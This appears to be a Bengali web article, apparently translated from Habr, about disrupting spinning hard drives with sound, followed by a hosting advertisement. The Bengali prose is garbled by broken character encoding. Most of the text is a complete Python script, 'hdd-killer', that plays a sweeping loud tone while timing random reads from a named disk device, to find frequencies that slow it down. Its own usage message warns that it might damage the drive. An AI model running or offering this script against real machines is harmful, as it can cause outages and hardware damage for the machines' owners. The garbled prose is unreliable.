āĻĄāĻŋāĻŦāĻŋ-āϰ āĻŦ⧇āĻļāĻŋ), āϤāĻŦ⧇ āφāĻĒāύāĻŋ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāϭ⧇ āϚāĻŋā§ŽāĻ•āĻžāϰāĻ“ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ āύāĻž - āĻāϟāĻŋ HDD āĻ…ā§āϝāĻžāĻ•ā§āϏ⧇āϏ⧇ āĻŦāĻŋāϞāĻŽā§āĻŦ āĻŦāĻžāĻĄāĻŧāĻžāϝāĻŧāĨ¤

āĻāĻ•āϟāĻŋ āĻĄā§‡āϟāĻž āϏ⧇āĻ¨ā§āϟāĻžāϰ⧇ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāϭ⧇ āĻŽāĻžāύ⧁āώ⧇āϰ āϚāĻŋā§ŽāĻ•āĻžāϰ⧇āϰ āĻĒā§āϰāĻĻāĻ°ā§āĻļāύāĨ¤ āϞ⧇āĻŸā§‡āĻ¨ā§āϏāĻŋ āĻĒāϰāĻŋāĻŽāĻžāĻĒ

āĻ­āĻŋāĻĄāĻŋāĻ“ āĻĻ⧇āĻ–āĻžāĻ“

āĻ…āύ⧁āϰāĻŖāĻŋāϤ āĻļāĻŦā§āĻĻ āϤ⧈āϰāĻŋ āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ, āφāϞāĻĢā§āϰ⧇āĻĄā§‹ āĻ“āĻ°ā§āϤ⧇āĻ—āĻž āĻāĻ•āϟāĻŋ āĻĒāĻžāχāĻĨāύ āĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ āϞāĻŋāϖ⧇āĻ›āĻŋāϞ⧇āύ hdd-āĻšāĻ¤ā§āϝāĻžāĻ•āĻžāϰ⧀ (āĻ­āĻŋāĻĄāĻŋāĻ“ āĻĒā§āϰāĻĻāĻ°ā§āĻļāύ).

HDD āĻšāĻ¤ā§āϝāĻžāĻ•āĻžāϰ⧀ āĻ¸ā§āĻ•ā§āϰāĻŋāĻĒā§āϟ āĻāϟāĻŋ āĻŦ⧇āĻļ āϛ⧋āϟ, āϤāĻžāχ āφāĻĒāύāĻŋ āĻāϟāĻŋ āϏāĻŽā§āĻĒā§‚āĻ°ā§āĻŖāϰ⧂āĻĒ⧇ āĻāĻ–āĻžāύ⧇ āĻĒā§āϰāĻ•āĻžāĻļ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

āωāĻ¤ā§āϏ: www.habr.com

DDoS āϏ⧁āϰāĻ•ā§āώāĻž, VPS VDS āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϏāĻš āϏāĻžāχāϟāϗ⧁āϞāĻŋāϰ āϜāĻ¨ā§āϝ āύāĻŋāĻ°ā§āĻ­āϰāϝ⧋āĻ—ā§āϝ āĻšā§‹āĻ¸ā§āϟāĻŋāĻ‚ āĻ•āĻŋāύ⧁āύ đŸ”Ĩ DDoS āϏ⧁āϰāĻ•ā§āώāĻž āϏāĻš āύāĻŋāĻ°ā§āĻ­āϰāϝ⧋āĻ—ā§āϝ āĻ“āϝāĻŧ⧇āĻŦāϏāĻžāχāϟ āĻšā§‹āĻ¸ā§āϟāĻŋāĻ‚ āĻ•āĻŋāύ⧁āύ, VPS VDS āϏāĻžāĻ°ā§āĻ­āĻžāϰ | ProHoster